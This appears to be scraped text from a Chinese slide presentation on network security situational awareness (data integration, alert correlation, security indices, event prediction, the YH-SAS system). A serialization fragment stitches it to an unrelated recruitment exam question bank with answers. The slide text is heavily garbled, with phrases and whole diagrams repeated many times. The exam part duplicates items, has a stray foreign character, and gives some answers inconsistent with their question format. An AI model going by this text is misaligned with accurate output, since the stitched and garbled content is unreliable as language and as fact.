型中科大的数据融合模型中科大的数据融合模型大规模网络安全态势评估模型探针数据上报数据数据数据数据集成数据集成数据预处理数据集成关联分析与告警关联分析与告警关联分析引擎元知识告警态势预测态势预测IDSFWNetFlow运营商职能部门网络用户知识库知识库专家专家元数据网络安全数据库网络安全数据库指数模型指数计算指标体系及量化指标体系及量化态势展示态势展示态势可视化指标配置模拟预测时序预测规则库预测模型大规模网络安全态势评估模型探针数据上报数据数据数据数据集成数据集成数据预处理数据集成关联分析与告警关联分析与告警关联分析引擎元知识告警态势预测态势预测IDSFWNetFlow运营商职能部门网络用户知识库知识库专家专家元数据网络安全数据库网络安全数据库指数模型指数计算指标体系及量化指标体系及量化态势展示态势展示态势可视化指标配置模拟预测时序预测规则库预测模型防火墙日志数据数据集成问题描述问题描述IDS数据(数据库格式)服务检测(日志数据)弱点扫描(XML格式日志数据)?
@#@数据表示和存储形式各异,如何统一处理?
@#@数据表示和存储形式各异,如何统一处理?
@#@数据集成研究现状研究现状?
@#@基于模式映射的异构数据集成基于模式映射的异构数据集成InformationManifold系统是最早出现的异构数据集成系统之一,基于模式映射为多数据源提供一个统一的查询接口系统是最早出现的异构数据集成系统之一,基于模式映射为多数据源提供一个统一的查询接口?
@#@基于基于XML中间表示的异构数据集成中间表示的异构数据集成斯坦福大学的数据集成项目斯坦福大学的数据集成项目ActiveXML,基于,基于XML进行数据表示,基于进行数据表示,基于Web服务实现对动态更新的数据源的访问。
@#@服务实现对动态更新的数据源的访问。
@#@?
@#@基于本体进行异构数据集成基于本体进行异构数据集成E.Mena等人实现的基于本体的字典异构解决方案等人实现的基于本体的字典异构解决方案OBSERVER,利用已经存在的领域本体对数据源进行描述,查询重写以本体之间的映射关系为基础进行。
@#@,利用已经存在的领域本体对数据源进行描述,查询重写以本体之间的映射关系为基础进行。
@#@挑战挑战网络安全产品层出不穷,模式转换需要在线扩展。
@#@网络安全产品层出不穷,模式转换需要在线扩展。
@#@探针产生的海量流数据,需要进行实时的抽取转换。
@#@探针产生的海量流数据,需要进行实时的抽取转换。
@#@匹配生成配置文件基于自动格式转换的可扩展数据集成技术探针日志探针网络安全数据库网络安全事件统一格式转换配置文件监听进程格式转换数据采集Server数据分类、去重、归并处理匹配生成配置文件转换配置文件监听进程格式转换探针探针数据AgentServer数据集成取得的成效取得的成效?
@#@已经对20余种网络安全产品进行了集成研究,包括:
@#@?
@#@入侵检测:
@#@Snort?
@#@防火墙:
@#@CheckPoint?
@#@弱点扫描:
@#@Nessus?
@#@服务监控:
@#@Nagios?
@#@流量监控:
@#@Ntop?
@#@拓扑扫描:
@#@Nmap?
@#@大规模网络安全态势评估模型探针数据上报数据数据数据数据集成数据集成数据预处理数据集成关联分析与告警关联分析与告警关联分析引擎元知识告警态势预测态势预测IDSFWNetFlow运营商职能部门网络用户知识库知识库专家专家元数据网络安全数据库网络安全数据库指数模型指数计算指标体系及量化指标体系及量化态势展示态势展示态势可视化指标配置模拟预测时序预测规则库预测模型关联分析问题描述问题描述?
@#@IDS产生大量误报和重复报警关联分析研究现状研究现状?
@#@加利福尼亚州加利福尼亚州SRI研究中心的研究中心的Valdes.A利用报警信息特征的相似性来对来自不同类型利用报警信息特征的相似性来对来自不同类型IDS的报警信息进行综合关联分析的报警信息进行综合关联分析?
@#@麻省理工学院林肯实验室的麻省理工学院林肯实验室的M.Dain提出基于于攻击场景构建的概率关联方法提出基于于攻击场景构建的概率关联方法挑战挑战单维度的关联单维度的关联基于类似的特征基于类似的特征前后场景的高度依赖前后场景的高度依赖基于多维关联的网络安全事件关联分析技术事件与脆弱性关联分析事件与资产关联分析事件与事件关联分析关联规则数据库网络安全告警数据库网络安全事件事件分类和量化资产数据脆弱性数据告警告警告警网络安全事件网络安全事件关联分析取得的效果取得的效果?
@#@有效减少误报、重复报警,约1/200?
@#@根据原始网络安全事件数据,通过关联分析发现新的网络安全攻击告警?
@#@对网络安全事件的严重程度进行定级大规模网络安全态势评估模型探针数据上报数据数据数据数据集成数据集成数据预处理数据集成关联分析与告警关联分析与告警关联分析引擎元知识告警态势预测态势预测IDSFWNetFlow运营商职能部门网络用户知识库知识库专家专家元数据网络安全数据库网络安全数据库指数模型指数计算指标体系及量化指标体系及量化态势展示态势展示态势可视化指标配置模拟预测时序预测规则库预测模型指标体系与量化评估问题和挑战问题和挑战?
@#@如何确定影响指标体系的各个要素?
@#@?
@#@如何保证指标体系的动态可配置性?
@#@?
@#@如何建立科学的量化模型和聚集模型?
@#@?
@#@如何是指数可接受、可理解?
@#@指标体系与量化评估研究现状研究现状?
@#@优利(优利(Unisys)公司的提供优利安全指数()公司的提供优利安全指数(UnisysSecurityIndex)对国家安全、财务安全、互联网安全和个人安全进行量化,主要方法是问卷调查的方法)对国家安全、财务安全、互联网安全和个人安全进行量化,主要方法是问卷调查的方法?
@#@电信网网络安全评估指标体系,是工信部电信研究院针对电信网络安全提出的,包括电信网物理安全、传输网络安全、业务网络安全的电信网络安全评估指标电信网网络安全评估指标体系,是工信部电信研究院针对电信网络安全提出的,包括电信网物理安全、传输网络安全、业务网络安全的电信网络安全评估指标?
@#@SilkRoad的的TimBass在提出网络安全态势感知概念后,针对局域网的特征特出了一系列的网络安全态势量化评估的方法在提出网络安全态势感知概念后,针对局域网的特征特出了一系列的网络安全态势量化评估的方法挑战挑战尚缺乏网络安全因素全面考虑的互联网安全态势的国家指标体系尚缺乏网络安全因素全面考虑的互联网安全态势的国家指标体系已有的量化评估方法大多针对局域网已有的量化评估方法大多针对局域网层次式大规模网络安全量化指标体系网络安全态势综合安全指数展示构件库展示构件库基础设施运行安全指数脆弱性指数威胁指数一级指数流量指数服务状态指数资源消耗指数聚集模型库聚集模型库漏洞状态指数防护软件指数二级指数木马指数DDoS指数木马事件数木马严重程度木马增长率木马聚集程度重要IP比例加权平均法调和三角模法BP神经网络法报表展示地理地图展示拓扑展示最大-最小值法反正切函数法中间值法归一化模型库归一化模型库叶节点指数态势参数预测态势参数预测三级指数指标体系与量化评估进展和成效进展和成效?
@#@标准组织立项?
@#@网络安全监控系统技术要求(2009H141)?
@#@网络安全评价指标体系(2009B43)?
@#@网络脆弱性指数评估标准(2009H144)?
@#@网络威胁指数评估标准(2009H145)?
@#@已在工信部通信保障局试用?
@#@互联网网络安全评价指标体系(保障局版)?
@#@从2009年6月16日至今,已发布互联网网络安全指数通报4期大规模网络安全态势评估模型探针数据上报数据数据数据数据集成数据集成数据预处理数据集成关联分析与告警关联分析与告警关联分析引擎元知识告警态势预测态势预测IDSFWNetFlow运营商职能部门网络用户知识库知识库专家专家元数据网络安全数据库网络安全数据库指数模型指数计算指标体系及量化指标体系及量化态势展示态势展示态势可视化指标配置模拟预测时序预测规则库预测模型网络安全事件预测问题描述问题描述DDoS攻击攻击蠕虫传播蠕虫传播网络安全事件预测研究现状研究现状?
@#@HoneyNet组织基于统计学原理,采用“3DMA”方法进行网络事件预警。
@#@?
@#@北京理工大学信息安全与对抗技术研究中心,通过线性回归、多项式回归和指数平滑等多种预测方法对网络的未来威胁趋势进行分析和预测。
@#@?
@#@日本三菱研究所的“网络天气预报系统”,通过对特定端口扫描数量的预测,预报出可能发生的网络攻击及风险态势。
@#@挑战挑战传统的预测方法试图建立单一的全局模型进行预测,而安全事件出现的模式,具有局部性和多模式性传统的预测方法均基于精确统计数学模型,而网络安全影响因素众多,且具有混沌性基于特征事件频繁情节的安全事件预测方法所有频繁情节历史数据训练数据分段离散事件化历史序列挖掘事件序列频繁情节训练阶段训练阶段匹配频繁情节前缀事件近期数据近期数据分段离散事件化近期序列预测阶段预测阶段预测数据预测事件转换为数值形式预测事件预测用频繁情节提取频繁情节后缀事件显著的实验效果863-917木马数据规模预测木马数据规模预测863-917木马数据规模预测木马数据规模预测显著的实验效果863-917木马数据规模预测木马数据规模预测蜜网捕获的僵尸网络规模预测蜜网捕获的僵尸网络规模预测蜜网捕获的僵尸网络规模预测蜜网捕获的僵尸网络规模预测显著的实验效果863-917木马数据规模预测木马数据规模预测蜜网捕获的僵尸网络规模预测蜜网捕获的僵尸网络规模预测各种预测模型精度的比较各种预测模型精度的比较FE_MVFE_TLinearQuadWaveletSynthetic_controlECG200TraceFaceAllOSULeafAdiacBeef50words05101520(%)我们方法(红色圈内)与线性回归、二次回归、基于小波方法的预测精度大规模网络安全态势评估模型探针数据上报数据数据数据数据集成数据集成数据预处理数据集成关联分析与告警关联分析与告警关联分析引擎元知识告警态势预测态势预测IDSFWNetFlow运营商职能部门网络用户知识库知识库专家专家元数据网络安全数据库网络安全数据库指数模型指数计算指标体系及量化指标体系及量化态势展示态势展示态势可视化指标配置模拟预测时序预测规则库预测模型报告内容?
@#@什么是态势感知?
@#@?
@#@网络安全态势感知研究意义?
@#@网络安全态势感知关键技术?
@#@YH-SAS?
@#@一个新型的网络安全态势感知系统?
@#@机遇和挑战YH-SAS的体系结构SnortFW-1Ntopnagios网络拓扑数据库脆弱性指数及其支撑数据展示网络安全整体态势展示基础指数及其支撑数据展示威胁指数及其支撑数据展示展示nessusNmap其它探针数据集成AgentAgentAgentAgentAgentAgentAgent统一格式关联分析流量监控及分析网络安全事件查询网络安全事件实时统计分析网络安全事件预测基础数据实时统计分析服务监控网络安全事件分析及统计基础数据分析及统计指数计算指标体系配置指数模型解析指数配置及计算漏洞数据库网络安全事件数据库指数模型数据库指数结果数据库网络流量数据库网络安全数据库安全事件数据获取漏洞扫描及分析脆弱性数据实时统计分析操作系统监控脆弱性数据分析及统计实时TopK查询支撑模块实时统计分析GIS展示支撑模块统计数据展示报表YH-SAS态势计算过程数据集成数据集成事件采集事件采集A关联分析关联分析安全事件扫描安全事件扫描关联分析关联分析资产资产处理优先等级处理优先等级发生了什么发生了什么?
@#@攻击目标是什么攻击目标是什么?
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@#@安全指数计算安全指数计算行动预案行动预案OnlineOffline安全策略选取安全策略选取攻防博弈攻防博弈攻防博弈攻防博弈0s1rs2rs1ws2ws1fs3ws2fs3fs4fs6fs7ws8ws5fs0s0s2aa1aa3aa4aa5aa7aa8aa9aa6aa10aa12aa13aa0s1rs1rs3da2da12da13da11da3da4aa0s安全事件预测安全事件预测安全管理员安全管理员数据过滤和聚集数据过滤和聚集YH-SAS系统界面截图报告内容?
@#@什么是态势感知?
@#@?
@#@网络安全态势感知研究意义?
@#@网络安全态势感知关键技术?
@#@YH-SAS?
@#@一个新型的网络安全态势感知系统?
@#@机遇和挑战机遇和挑战?
@#@需求需求?
@#@网络安全态势的准确掌握,是有效实施网络安全监管必要前提。
@#@网络安全态势的准确掌握,是有效实施网络安全监管必要前提。
@#@?
@#@管理的问题管理的问题?
@#@跨组织、跨机构的数据获取,还需要人们认识的提高和政策法规的支持。
@#@跨组织、跨机构的数据获取,还需要人们认识的提高和政策法规的支持。
@#@?
@#@技术的问题技术的问题?
@#@大规模网络安全事件数据的有效获取,海量安全事件数据的实时关联分析,客观、可理解的网络安全指标体系的建立,在技术上还存在诸多难题。
@#@大规模网络安全事件数据的有效获取,海量安全事件数据的实时关联分析,客观、可理解的网络安全指标体系的建立,在技术上还存在诸多难题。
@#@致谢?
@#@韩伟红韩伟红博士/副研究员国防科技大学计算机学院?
@#@李爱平李爱平博士/副研究员国防科技大学计算机学院?
@#@程文聪程文聪博士研究生国防科技大学计算机学院?
@#@李润恒李润恒博士研究生国防科技大学计算机学院?
@#@王晓伟王晓伟博士研究生国防科技大学计算机学院?
@#@甘亮甘亮博士研究生国防科技大学计算机学院主要参考文献?
@#@TimBass,“CyberspaceSituationalAwarenessDemandsMimicTraditionalCommandRequirements”,AFCEASignalMagazine,Feb,2000?
@#@Endsley,M.R.“Theoreticalunderpinningsofsituationawareness:
@#@acriticalreview“,SituationAwarenessAnalysisandMeasurement,Mahwah,NewJersy,2000?
@#@YegneswaranV,etc.Usinghoneynetsforinternetsituationalawareness,Proceedingsofthe4thWorkshoponHotTopicsinNetworks.Maryland,2005?
@#@Valdes.A,Skimmer.K.ProbalilisticAlertCorrelation.In:
@#@RecentAdvancesinIntrusionDetection(RAID)LNCS.SpringVerlag,2007,54-68.主要参考文献(续)?
@#@Dain.O,Cunningham.R.BuildingScenariosfromaHeterogeneousAlertStream.In:
@#@Procofthe2007IEEE.?
@#@詹姆斯D汉密尔顿时间序列分析M中国社会科学出版社,1999?
@#@CoxD.R.Regressionmodelsandlife-tables.JournaloftheRoyalStatisticalSociety.SeriesB(Methodological),1972,34
(2):
@#@187220?
@#@LianX.,ChenL.,EfficientSimilaritySearchoverFutureStreamTimeSeries.IEEETransactionsonKnowledgeandDataEngineering,2008,20
(1):
@#@4054";i:
19;s:
28696:
"黄陂区国投集团招聘《综合基础知识》试题及解析@#@ 说明:
@#@本题库收集历年及近期考试真题,全方位的整理归纳备考之用。
@#@@#@ 注意事项:
@#@@#@ 1、答题前,考试务必将自己的姓名,准考证号用黑色签字笔或钢笔填写在答题纸规定的位置。
@#@@#@ 2、监考人员宣布考试结束时,你应立即停止作答。
@#@将题本、答题卡和草稿纸都翻过来留在桌上,待监考人员确认数量无误、允许离开后方可离开。
@#@@#@ 3、特别提醒您注意,所有题目一律在答题卡指定位置答题。
@#@未按要求作答的,不得分。
@#@@#@ 一、选择题(在下列每题四个选项中选择符合题意的,将其选出并把它的标号写在题后的括号内。
@#@@#@ 错选、多选或未选均不得分。
@#@)@#@ 1、“金陵十二钗”是《红楼梦》里太虚幻境“薄命司”里记录的南京十二个最优秀的女子,每一位女子都有一句对应的判词。
@#@其中“才自精明志自高,生于末世运偏消。
@#@清明涕送江边望,千里东风一梦遥”指代的是()。
@#@@#@ A、史湘云@#@ B、薛宝钗@#@ C、王熙凤@#@ D、贾探春@#@ 【答案】D@#@ 【解析】史湘云对应的判词是“富贵又何为,襁褓之间父母违。
@#@转眼吊斜晖,湘江水逝楚云飞”。
@#@薛宝钗对应的判词是“可叹停机德,堪怜咏絮才。
@#@玉带林中挂,金簪雪里埋”。
@#@王熙凤对应的判词是“凡鸟偏从末世来,都知爱慕此生才。
@#@一从二令三人木,哭向金陵事更哀”。
@#@贾探春对应的判词是“才自精明志自高,生于末世运偏消。
@#@清明涕送江边望,千里东风一梦遥”。
@#@因此D项当选。
@#@@#@ 2、理性经济人假设是西方经济学理论的逻辑基础,这一理论假设的核心是认为人()。
@#@@#@ A、追求经济利益的最大化@#@ B、追求自我利益的最大化@#@ C、没有利他心@#@ D、追求经济利益和社会利益的最大化@#@ 【答案】A@#@ 【解析】西方经济学理论的基本前提是理性人假设。
@#@理性人的基本特征是:
@#@每一个从事经济活动的人所采取的经济行为都是力图以自己的最小经济代价去获得自己的最大经济利益,即主体所追求的唯一目标是经济利益的最大化。
@#@@#@ 3、老李闲暇之余写了一首七言律诗,投到某杂志社后,被采用,按照正文每字10元的标准计算,老李应得稿酬是()。
@#@@#@ A、20@#@ B、280C、400@#@ D、560@#@ 【答案】D@#@ 【解析】律诗要求诗句字数整齐划一,律诗由八句组成,七字句的称七言律诗。
@#@每首八行,每行七个字,每两行为一联,共四联,分首联、颔联、颈联和尾联。
@#@@#@ 4、下列表述错误的是()。
@#@@#@ A、隧道里多用橙黄色灯光,因为橙黄色的光的波长比紫色、蓝色光的波长要长一些,也就照得远一些@#@ B、新能源技术包括太阳能、风能、生物质能、潮汐、地热、水电、核电等新能源@#@ C、铅笔上标注的“H”表示软度,“B”表示硬度@#@ D、4G是第四代移动通信及其技术的简称@#@ 【答案】C@#@ 【解析】@#@ “H”即英文“HARD”@#@ (硬)的开头字母,代表黏土,用以表示铅笔芯的硬度;@#@@#@ “B”是英文“BLACK”@#@ (黑)的开头字母,代表石墨,用以表示铅笔芯质软的情况和字迹的明显程度。
@#@@#@ 5、甲和乙共同出资购买了一间房并出租给丙,租房期间甲欲转让自己的份额,乙和丙均表示愿意购买,应()。
@#@@#@ A、在同等条件下由乙优先购买@#@ B、在同等条件下由丙优先购买@#@ C、在同等条件下由甲决定卖给谁@#@ D、在同等条件下由乙、丙共同购买,各享有一份份额,形成共有关系@#@ 【答案】A@#@ 【解析】根据题意,乙的优先购买权是基于共有权,而丙的优先购买权是基于租赁权,共有权优于租赁权。
@#@@#@ 故选A。
@#@@#@ 6、绝对地租形成的条件是()。
@#@@#@ A、农业的资本有机构成低于社会平均的资本有机构成@#@ B、农业的资本有机构成等于社会平均的资本有机构成@#@ C、农业的资本有机构成高于社会平均的资本有机构成@#@ D、农业的资本有机构成高于个别工业部门的资本有机构成@#@ 【答案】A@#@ 【解析】农业的资本有机构成低于社会平均的资本有机构成,意味着农业的生产经营技术一般落后于工业,所耗费的劳动力比较多,有机构成低,则创造的的剩余价值较高,又因为农业的生产的垄断性,商品可以按照价值出售,不按照生产价格出售。
@#@故选A。
@#@@#@ 7、在一定社会形态中占主导地位的生产关系总和构成了该社会的()。
@#@@#@ A、上层建筑@#@ B、生产方式@#@ C、经济基础@#@ D、社会形态@#@ 【答案】C@#@ 【解析】注意,经济基础说的是“占主导地位”的生产关系总和。
@#@故选C。
@#@@#@ 8、下列关于欧洲河流的特点与形成原因的分析正确的是()。
@#@@#@ A、河网较密,是因为陆地面积小@#@ B、水量充沛,是因为降水量较多@#@ C、无长河,是因为大陆轮廓曲折,又受山岭的限制@#@ D、航运便利,是因为平原面积广,河流之间多运河@#@ 【答案】BCD@#@ 【解析】欧洲陆地面积适中,并不小,且河网较密与陆地面积大小并无直接因果关系。
@#@A项错误。
@#@其他正确。
@#@@#@ 故选BCD。
@#@@#@ 9、下列科技常识中,表述有误的一项是()。
@#@@#@ A、计算机网络是指在地理上分散布置的多台独立计算机通过通信线路互联构成的系统@#@ B、信息高速公路是以多媒体为车、以光纤为路的高信息流量的信息网络@#@ C、信息技术是高技术的前导,以通信技术为基础@#@ D、纳米材料是一种既不同于原子、分子,也不同于宏观物质的特殊性能的物质构成的材料@#@ 【答案】C@#@ 【解析】信息技术是指信息的获取、传递、处理等技术的总称。
@#@它是高技术的前导,信息技术以微电子技术为基础,包括通信技术、自动化技术、微电子技术、光电子技术、光导技术、计算机技术和人工智能技术等。
@#@C项错误,当选。
@#@@#@ 10、下列批办意见不恰当的是()。
@#@@#@ A、拟同意@#@ B、同意,请XX科承办@#@ C、请XX同志阅处@#@ D、阅@#@ 【答案】AD@#@ 【解析】批办不能只阅不批,或是只批“拟同意”或“阅”之类模棱两可文字,必须提出具体可行的批办意见,提出如何具体组织解决公文中提到的问题。
@#@所以答案选AD。
@#@@#@ 11、公孙龙“白马非马”说的错误在于割裂了()。
@#@@#@ A、矛盾的同一性和斗争性的关系@#@ B、矛盾的普遍性和特殊性的关系@#@ C、主要矛盾和非主要矛盾的关系@#@ D、矛盾的主要方面和次要方面的关系@#@ 【答案】B@#@ 【解析】公孙龙说:
@#@@#@ “马者,所以命形也;@#@白者,所以命色也。
@#@命色者非命青工也,故日白马非马。
@#@”意思是说,“白”是指马的颜色,“马”是指马的形体。
@#@@#@ “白”是用来称呼马的颜色的,不能称呼马的形体,因此,“白”与“马”两个概念合在一起所包含的意思就不是“马”了。
@#@这一命题注意到了具体与抽象、个别与一般、特殊与普遍、个性与共性的关系问题,但是割裂了二者的关系。
@#@故选B。
@#@@#@ 12、下列各项中反映通报特点和作用的是()。
@#@@#@ A、内容具有较强的典型性@#@ B、让事实和数据说话,无需阐发和论证道理@#@ C、主要起感召、宣传和教育作用@#@ D、均新闻媒体向社会公布@#@ 【答案】AC@#@ 【解析】通报具有典型性、时效性、教育性和说理性四大特点,答案B跟通报的说理性特点矛盾,排除掉。
@#@D不是它通报的特点。
@#@因此答案为AC。
@#@@#@ 13、事物的性质主要是由事物的()。
@#@@#@ A、矛盾的斗争性决定@#@ B、矛盾的同一性决定@#@ C、矛盾的主要方面决定的@#@ D、主要矛盾和次要矛盾共同决定的@#@ 【答案】C@#@ 【解析】同一矛盾双方的地位是不同的,其中一方处于支配地位,决定事物的性质。
@#@这里矛盾主次方面各有一个。
@#@由于矛盾的主要方面在力量上超过矛盾的次要方面,在地位上支配着矛盾的次要方面,所以事物的性质主要是由矛盾的主要方面决定的。
@#@矛盾的主要方面发生变化,事物的性质也随之变化。
@#@同时,次要方面对事物性质有一定影响。
@#@因为主要矛盾不能离开次要方面而孤立存在。
@#@故选C。
@#@@#@ 14、下列作品与作者的对应关系,不正确的是()。
@#@@#@ A、《梦溪笔谈》──沈括@#@ B、《水经注》──徐霞客@#@ C、《清明上河图》──张择端@#@ D、《步辇图》──阎立本@#@ 【答案】B@#@ 【解析】@#@ 《水经注》的作者是郦道元,因此B项对应不正确。
@#@故选B。
@#@@#@ 15、下列俗语描述的现象与经济学名词对应错误的是()。
@#@@#@ A、覆水难收——机会成本@#@ B、一山不容二虎——完全垄断@#@ C、入芝兰之室,久而不闻其香——边际效用递减@#@ D、城门失火,殃及池鱼——负外部效应@#@ 【答案】A@#@ 【解析】A项,“覆水难收”比喻事情已成定局,难以挽回,反映的应是沉没成本,沉没成本是指由于过去的决策已经发生了的,而不能由现在或将来的任何决策改变的成本,即已经付出且不可收回的成本。
@#@机会成本是指为了得到某种东西而所要放弃另一些东西的最大价值。
@#@A项对应错误,当选。
@#@@#@ B项,“一山不容二虎”比喻在一个地方两个强者不能相容。
@#@完全垄断是指整个行业的市场由一家企业完全控制的状态。
@#@B项对应正确。
@#@@#@ C项,“入芝兰之室,久而不闻其香”指进入了摆满香草的房间,久而久之闻不到香草的香味了。
@#@边际效用递减,效用,即满足程度是人神经的兴奋,外部给一个刺激,人的神经兴奋就有满足感(产生效用),随着同样刺激的反复进行(连续消费同一种物品的数量增加),兴奋程度就下降(边际效用递减)。
@#@C项对应正确。
@#@@#@ D项,“城门失火,殃及池鱼”比喻无辜被连累而遭受灾祸。
@#@负外部效应是指未能在价格中得以反映的,对交易双方之外的第三者所带来的成本。
@#@D项对应正确。
@#@@#@ 16、下列属于主物权的是()。
@#@@#@ A、留置权@#@ B、地役权@#@ C、地上权@#@ D、抵押权@#@ 【答案】C@#@ 【解析】主物权是指不以他种权利的存在为前提而独立存在的物权。
@#@留置权、抵押权属担保物权,担保物权具有从属性,它以主债的成立为前提,不是主物权。
@#@地役权在与需役地的所有权或使用权的关系上,也属于从物权。
@#@故选C。
@#@@#@ 17、能够坚持彻底的唯物主义一元论的是()。
@#@@#@ A、朴素唯物论@#@ B、庸俗唯物论@#@ C、机械唯物论@#@ D、辩证唯物论@#@ 【答案】D@#@ 【解析】世界物质统一性原理是辩证唯物论彻底的唯物主义一元论世界观的理论基础。
@#@朴素唯物论试图在某些特殊的东西中,寻找具有无限多样性的自然现象的统一;@#@庸俗唯物论混淆物质和意识的严格界限,取消唯物主义和唯心主义的对立;@#@机械唯物论认为世界上物质的变化在根本上只有位置和数量的变化,所以,虽然它们都承认世界是物质的,但是都没有彻底认识到物质世界的统一性、多样性,不是彻底的唯物主义一元论。
@#@因此本题答案为D가@#@ 18、公文的主体部分不包含()。
@#@@#@ A、标题@#@ B、作者@#@ C、印章@#@ D、正文@#@ 【答案】B@#@ 【解析】公文首页红色分隔线(不含)以下、公文末页首条分隔线(不含)以上的部分称为主体,包括标题、主送机关、正文、附件说明、发文机关署名、成文日期、印章、附注、附件等要素。
@#@故选B。
@#@@#@ 19、公文的主体部分不包含()。
@#@@#@ A、标题@#@ B、作者@#@ C、印章@#@ D、正文@#@ 【答案】B@#@ 【解析】公文首页红色分隔线(不含)以下、公文末页首条分隔线(不含)以上的部分称为主体,包括标题、主送机关、正文、附件说明、发文机关署名、成文日期、印章、附注、附件等要素。
@#@故选B。
@#@@#@ 20、随着“单独二胎”政策的实施,短期会扩大母婴食品、玩具等行业的市场需求,长期还将带动医疗、教育等行业的发展。
@#@由此可见()。
@#@@#@ A、消费对生产具有反作用,能够促进生产的发展@#@ B、生产决定消费,生产为消费奠定物质基础@#@ C、消费和生产是相互决定和促进的@#@ D、新的消费热点出现,往往带动社会生产的调整和升级@#@ 【答案】A@#@ 【解析】本题考查的知识点是社会生产总过程。
@#@社会生产总过程是指:
@#@人类社会在改造社会中的生产、分配、交换、消费四个环节。
@#@四个环节之间存在着相互联系、相互制约的辩证关系。
@#@其中生产对消费起着决定作用表现为:
@#@生产决定着消费的对象、水平与结构和具体形式。
@#@消费对生产的反作用具体表现为:
@#@消费使生产出来的产品最终得到实现,消费为生产的发展创造出动力,反之则阻碍生产力的发展。
@#@二胎政策的实施扩大对母婴市场的消费,进而促进了母婴用品及其他相关产业的生产和发展。
@#@故本题体现了消费的扩大对生产的反作用,促进生产的发展,A正确。
@#@B项生产决定消费,生产为消费奠定物质基础表述正确,但本题并未体现;@#@C项表述错误;@#@二胎政策只是扩大了母婴及相关产业的消费并未出现新的消费热点故D错误。
@#@故本题选A。
@#@@#@ 21、下列观点中属于主观唯心主义的是()。
@#@@#@ A、存在就是被感知@#@ B、上帝创造世界@#@ C、人是万物的尺度@#@ D、理念是事物存在的根据和摹仿的原型@#@ 【答案】AC@#@ 【解析】主观唯心主义把个人的某种主观精神如感觉、经验、心灵、意识、观念、意志等看作是世界上一切事物产生和存在的根源与基础,而世界上的一切事物则是由这些主观精神所派生的,是这些主观精神的显现。
@#@因此,在主观唯心主义者看来,主观的精神是本原的、第一性的,而客观世界的事物则是派生的、第二性的。
@#@@#@ A、C属于主观唯心主义。
@#@客观唯心主义认为某种客观的精神或原则是先于物质世界并独立于物质世界而存在的本体,而物质世界(或现象世界)则不过是这种客观精神或原则的外化或表现。
@#@@#@ B、D属于客观唯心主义。
@#@@#@ 22、下列名医与著作的对应关系不正确的是()。
@#@@#@ A、华佗─《伤寒杂病论》@#@ B、葛洪—《抱朴子》@#@ C、孙思邈─《千金方》@#@ D、李时珍─《本草纲目》@#@ 【答案】A@#@ 【解析】@#@ 《伤寒杂病论》的作者是张仲景,华佗的著作是《青囊经》,因此A项错误,当选。
@#@@#@ 23、沈阳、北京、台北三大故宫举世闻名,按照建造时间先后排序正确的是()。
@#@@#@ A、沈阳故宫一北京故宫一台北故宫@#@ B、沈阳故宫一台北故宫一北京故宫@#@ C、北京故宫一沈阳故宫一台北故宫@#@ D、台北故宫一沈阳故宫一北京故宫@#@ 【答案】C@#@ 【解析】北京故宫于1420建成。
@#@沈阳故宫始建于1625年,初成于1636年。
@#@台北故宫始建于1962年,1965年夏落成。
@#@故选C。
@#@@#@ 24、在市场经济中起到主要经济杠杆作用的是价值规律,而价值规律的作用是()。
@#@@#@ A、通过竞争来实现的@#@ B、通过价格的波动表现出来的@#@ C、通过优胜劣汰来实现的@#@ D、通过商品交换来实现的@#@ 【答案】AB@#@ 【解析】本题考查政治经济学知识价值规律。
@#@价值规律的作用只有通过竞争的波动,进而以商品价格的波动形式来表现的,商品生产的价值规律才能得到贯彻,并不是通过优胜劣汰来实现,故C错误,更不是通过商品交换来实现,故D错误。
@#@本题出题形式有误。
@#@@#@ 25、作为商品的计算机软件,其价值的物质承担者是()。
@#@@#@ A、软件磁盘本身@#@ B、软件的有用性@#@ C、购买软件的货币@#@ D、应用软件的计算机@#@ 【答案】B@#@ 【解析】本题考查商品的二重性。
@#@使用价值是价值的物质承担者,价值寓于使用价值之中。
@#@因此,计算机软件价值的物质承担者应是它的使用价值,即有用性。
@#@故本题选B。
@#@@#@ 26、温室气体是指大气中那些能够吸收地球表面放射的长波红外辐射、对地球有保温作用的气体。
@#@下列各项中,不属于温室气体的是()。
@#@@#@ A、水汽@#@ B、二氧化碳@#@ C、乙烷@#@ D、臭氧@#@ 【答案】C@#@ 【解析】温室气体中最重要的是水汽,它在大气中的含量不受人类活动的直接影响,直接受人类活动影响的主要温室气体是二氧化碳(CO2)、甲烷(CH4)、氧化亚氮(N2O)、氯氟烃(CFCs)和臭氧(O3)等。
@#@@#@ 乙烷不是温室气体。
@#@故选C。
@#@@#@ 27、理性经济人假设是西方经济学理论的逻辑基础,这一理论假设的核心是认为人()。
@#@@#@ A、追求经济利益的最大化@#@ B、追求自我利益的最大化@#@ C、没有利他心@#@ D、追求经济利益和社会利益的最大化@#@ 【答案】A@#@ 【解析】西方经济学理论的基本前提是理性人假设。
@#@理性人的基本特征是:
@#@每一个从事经济活动的人所采取的经济行为都是力图以自己的最小经济代价去获得自己的最大经济利益,即主体所追求的唯一目标是经济利益的最大化。
@#@@#@ 28、下列各项中反映通报特点和作用的是()。
@#@@#@ A、内容具有较强的典型性@#@ B、让事实和数据说话,无需阐发和论证道理@#@ C、主要起感召、宣传和教育作用@#@ D、均新闻媒体向社会公布@#@ 【答案】AC@#@ 【解析】通报具有典型性、时效性、教育性和说理性四大特点,答案B跟通报的说理性特点矛盾,排除掉。
@#@D不是它通报的特点。
@#@因此答案为AC。
@#@@#@ 29、乙地区的农产品生产过程的各项作业、各个环节分别由不同的农业企业来完成,其专业化类型是()。
@#@@#@ A、农业企业专业化@#@ B、农业生产地区专业化@#@ C、农业作业专业化@#@ D、农业生产部门专业化@#@ 【答案】C@#@ 【解析】农业生产专业化具有以下四种类型:
@#@①农业生产部门专业化。
@#@是指随着农业生产的社会分工逐步加深,农业中的各生产部门由从属性部门发展成为独立的部门。
@#@②农业生产地区专业化。
@#@各地区具有不同的自然、经济、社会和历史等条件与特点。
@#@根据市场需求和适地生产的原则,各个地区因地制宜地专门生产一种或几种产品,从而形成农业生产的地区分工。
@#@③农业企业专业化。
@#@是指农业企业根据本企业的自然环境和社会经济条件,结合自身技术与经济优势,选择最适合的生产部门及产品作为专业化的主导部门集中经营,企业中的其他生产项目则降为从属地位,成为辅助性生产部门甚至消失。
@#@④农业作业专业化。
@#@又称农艺过程专业化,是指农产品生产过程的各项作业、各个环节,分别由不同的农业企业来完成。
@#@故选C。
@#@@#@ 30、下列各项不属于公文制文阶段的是()。
@#@@#@ A、草拟@#@ B、会签@#@ C、签发@#@ D、注发@#@ 【答案】D@#@ 【解析】草拟、会签、审核、签发构成了公文的制文阶段。
